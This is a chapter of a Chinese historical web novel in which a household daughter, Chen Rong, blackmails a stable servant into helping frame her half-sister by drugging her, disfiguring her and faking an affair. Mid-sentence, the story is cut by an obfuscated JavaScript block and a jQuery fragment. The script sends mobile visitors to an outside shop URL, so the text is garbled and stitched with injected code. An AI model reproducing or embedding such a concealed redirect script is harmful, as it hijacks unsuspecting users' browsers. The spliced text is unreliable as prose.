年后,陈榕除了待在西溪院,也开始在陈府里转悠,她常常一个人走在府中各个角落,步子慢悠悠的,任意一处景色都能让她驻足。
她让知秋和陆玉卿锁好院门,若有人来找,只等自己回来。她出去的时间不长,每日不过半个时辰左右。
时日久了,府里的下人也会遇到陈榕,渐渐地,有人说二小姐似乎病好了些,与从前不大相同,有时竟会与他们攀谈几句。
这日,趁着太阳还未落山,知秋在石桌旁择菜。
陈榕在院里划了块小菜地,种了些寻常菜蔬,这些都是从那小菜地里采来的。
陆玉卿出了屋子,没见陈榕,只看到正忙活的知秋,他上前去帮忙,“小姐又出去了?”
“对。”知秋问他:“你怎么出来了?”
“出来透透气。”陆玉卿学着知秋的样子择菜。
知秋看他那谨慎小心的动作,觉得好笑。
他的手像他的脸一样,生得好看,手背白皙,手指纤长,有几处冻疮留下的红痕,非但不难看,反添了几分别样的美感。
此刻这双手正拿着韭菜,认真地挑拣着。
“你不用弄了,你以前是不是没干过这种活儿?你这手呀,就只适合写字作画,小姐说你的字写得很好。”
陆玉卿顿了顿,还是没放下。
他想,陈榕一个小姐都能做这种事,自己又有什么干不了的。
“知秋。”
“嗯?”
“你在小姐身边多久了?”
“我十岁那年进的府,进来便被分到了西溪院。”
陆玉卿算了算:“已有八年多了,那你应是陪小姐最久的人。”
知秋点了头:“是,不出意外的话,小姐出嫁我也要跟着的。”
陆玉卿听到这一句,心脏像是骤停了一瞬。
他忘了,忘了她也是会嫁人的。
幸运有期,安宁并非永恒,这现实令他后悔今日的主动发问。
***
陈榕在府里散步,转到了马房,这里在旁院,偏僻且少有人烟,她轻缓地走进去,远远望见一个人。
他穿着府里最下等小厮的服饰,衣裳脏乱,手里提着草桶往槽里倒,嘴里骂骂咧咧。
马厩里的马半卧着,没什么动静,对他的骂声也做不出反应。
他又去取干草喂其他的马,完事后一脚踢翻木桶,掀帘子进了旁边的小房间。
稻草帘子破旧,在空中晃晃悠悠。
府里马房的马夫与各院的小厮不同,往往是最低等的下人,这里在陈府最边上,干的都是脏活累活,也见不着什么人,没什么前途,府里的小厮没人愿意干这个。
他是被关在这里,吃住都在马房,也不能随意外出。
陈榕定定地看着,摩挲了下手里的信件,别在了帘子上。
回到西溪院,看见相对而坐的知秋和陆玉卿。
知秋放下手里的活,“小姐回来了?晚上想吃点什么?”
“熬点粥吧,其余的你来定。”陈榕对知秋的厨艺向来信心满满,从不吝啬夸奖。
夕阳如火,她坐在石凳上望着晚霞。
“知秋,玉卿。”
“今晚用过饭,你们便早些歇息吧,戌时之后就不要再出屋门了。”
陆玉卿盯着沐浴在霞光中的人,她平日大多时候无需他们多问,自会将一切解释清楚。
所以不解释的时候,他们反而不敢问。
***
陈榕在小偏门处静待,春日里的风还残存着冬日的冷酷,吹得她浑身肌肉都紧绷起来。
她低头俯视自己的鞋尖,用鞋尖碾磨地上的枯草,一左一右,回环往复。
身后有脚步声袭来,在静夜里益发明晰。
她等的人来了。
陈榕陡然转身,眼神义无反顾。
张升看清对面的人,十分惊讶:“二小姐?”
他万没想到是她,自己与她好像并无交集。
不,不对,应当算是有交集,他渐渐意识到什么。
“二小姐深夜找小的来此有何贵干?”
陈榕并不应声,幽灵一般立在那里。
“写信给小的的人是您,这会儿您却不出声,您再不说,小的可要走了。”
陈榕终于开口,咬字清晰:“找你来,自然是有事。”
“如今,我有桩生意要与你谈。”
“生意?”张升很快接道,“堂堂陈府二小姐要与我一个小厮谈生意?”
陈榕就站在那里盯着他,那直直的眼神令人发毛,她指尖慢条斯理地勾出一样东西。
张升看了数眼,瞳孔骤缩,“这怎么会在你手里?!”
陈榕将那东西握回掌心:“你猜呢?”
张升嘴巴闭得很紧。
“你不猜,那我来猜吧。”
“是想给你弟弟,让他充场面吧。”
“他好不容易成了举人,也该有件像样的东西在身上。”
“只是怎么这么不小心,把大少爷赏的东西给他了呢?”
“虽说没什么大碍,但夫人对大少爷多么看重,若是知道了,马房怕都容不下你了。”
“不过也无妨,你烂命一条,又怕什么呢。”
“就是可怜你那弟弟,寒窗苦读,好不容易中了个举人。”
说到这里,陈榕突兀地笑了一声。
“举人?”
“举人算什么呀?”
张升握紧拳头,死咬着后槽牙瞪向陈榕。
陈榕也不遑多让,就这般与他对视。
她说:“我要你帮我做件事,事成之后,我将玉佩还你,并保你那举人弟弟的安危。同时,我还可以放你出府。”
“出府?”张升没忍住问她:“二小姐怎么放小的出府?”
陈榕幽幽道:“我可以帮你换个身份。”
听到这里,张升激动起来,他睨着对面的人,她依旧是那八风不动的模样,语气始终没什么起伏。
眼下摆在他面前的,是一个机会,错过了,不知日后还会不会有。
但他又开始犹豫,府里二小姐的处境人尽皆知,他不知道该不该相信这样一个根本不得宠的小姐,这到底是不是属于他的机会?
“作为诚意,我可以带你去西溪院,我们好好商量。”
“……好!”
张升咬了咬牙,不管是不是,先试了再说。
推开院门,寂静一片,只有主屋亮着灯,陈榕一路沉默地带着张升进了屋子。
“坐吧。”陈榕给二人都倒了水,将他的那一杯推到对面。
张升犹犹豫豫地坐下:“二小姐要与小的谈什么生意?”
他举着茶杯,一眼不错地看着她,不愿错过她脸上任何一个表情。
可陈榕并没有什么表情,她慢悠悠地喝了口水,然后慢悠悠地开口:“我要你帮我一起陷害陈映柳。”
她正大光明,毫无畏惧。
但是听到这句话的张升却一下子睁大了眼,“二小姐在说什么?”
“我知道你如今困在那马房里是因为谁,因为什么。”
“陈映柳扣下你的卖身契,不让你出去,她做贼心虚,不敢放你走。”
“而我,恰好与她有仇,需要你来替我做事。”
陈榕又抿了口水。
张升紧了紧手里的杯子:“二小姐要小的做什么?”
陈榕不说话了,似是在思考,良久。
“我要你找机
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548709|203040||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
会给陈映柳下药,最好在众人都在的时机,毁了她的脸,然后伪造成她与人私通的样子。”
停顿了片刻,她继续道:“要被所有人看到。”
张升震惊了,手里的杯子滑下几寸,他好不容易抓住。
“没想到二小姐竟这样狠,可我怎么记得您当时那般护着自己的丫鬟呢?如今这样,不会是为了给自己的丫鬟报仇吧?”
“可是,当时的事……您这让小的怎么敢相信您呢?”
“哈。”不想陈榕却突然笑了,嘲讽意味十足,“你竟然也信了?”
“看来我演得不错。”
“一个丫鬟罢了,当时是谁做的局,我想你比我清楚。”
“我的敌人向来只有陈映柳,我的目的也只有搞垮她而已。”
“我,只和她过不去。”
张升盯着陈榕笑的样子,惊觉她早已知道一切,当时种种,竟然是在演戏。
果然是个疯子,阴狠的疯子。
不过,疯子正合他意。
“要是成了事,二小姐能怎么帮小的?”
陈榕知道今晚的目的快要达成了。
“事成之后,我出府去买条死尸,再放把火,府里只会以为马房死了个小厮,没人会在意。”
“而陈映柳身陷囹圄,更无暇顾及你,我帮你安排新的身份,这样你便恢复了自由身。”
“从此天高海阔,任尔去留。”
张升仍有疑虑:“小的该怎么相信二小姐能做到呢?”
“信不信由你,你若有其他法子,现下也不会在这里与我谈了。”
被点破心事,张升有些恼,但她说的确实是事实。
他受够了像犯人一样被关在马房里那些暗无天日的日子,被利用完就失去了价值,活得生不如死。他不想就这样烂在那个房子里,对着一群马过一辈子。
“好,不过二小姐得给小的立个字据,不然小的不放心。”
“可以,不过公平起见,你也得给我立个字据。”
陈榕也提了要求,转身去书桌上取了纸笔,问他:“会写字吗?”
“会。”
“正好,我念你写。”
陈榕将纸笔递给他,平静念道:“伤害三小姐之事,全是我一人所为,罪有应得,无话可说。张升。”
念完后,她另拿了纸笔,张升看她动笔,才依言写了起来。
写完后,二人交换,他看向她给的字据。
——指使张升陷害陈映柳,均是我一人所为。陈榕。
傍晚那封信没心思细看,这会儿瞧着这字据,字迹娟秀工整。
没想到她性子不像大户人家的小姐,字迹却规规矩矩地符合闺阁女子的身份。
“二小姐这话写得如此正经,为何到了小的,就得是‘罪有应得,无话可说’?”他玩笑般开口,斜觑着她。
陈榕:“我乐意。”
张升被她理所当然的语气气笑了,但这也让他愈发谨慎,他试探着说:“小的答应了二小姐,定当努力完成您给的任务,为安小的心,二小姐不若再赏个信物吧?”
陈榕犹豫了片刻,同意了,直接从发间抽出根簪子递给他。
“你切记要保管好信物和字据,不可外露,我同样也会保管好。等事成之后,我将字据和玉佩一并给你,届时你也得把东西还我。”
“这个二小姐尽管放心。”张升将得到的两样东西揣进了怀里。
夜更深了。
陈榕送张升离开,叮嘱他:“以后有事可夜半来西溪院敲门,但不能被人发现,也不要常来。”
“此事需从长计议,确保万无一失。”
陈榕拉开门闩,目送他警惕地离开,那背影逐渐融入浓稠的夜色里。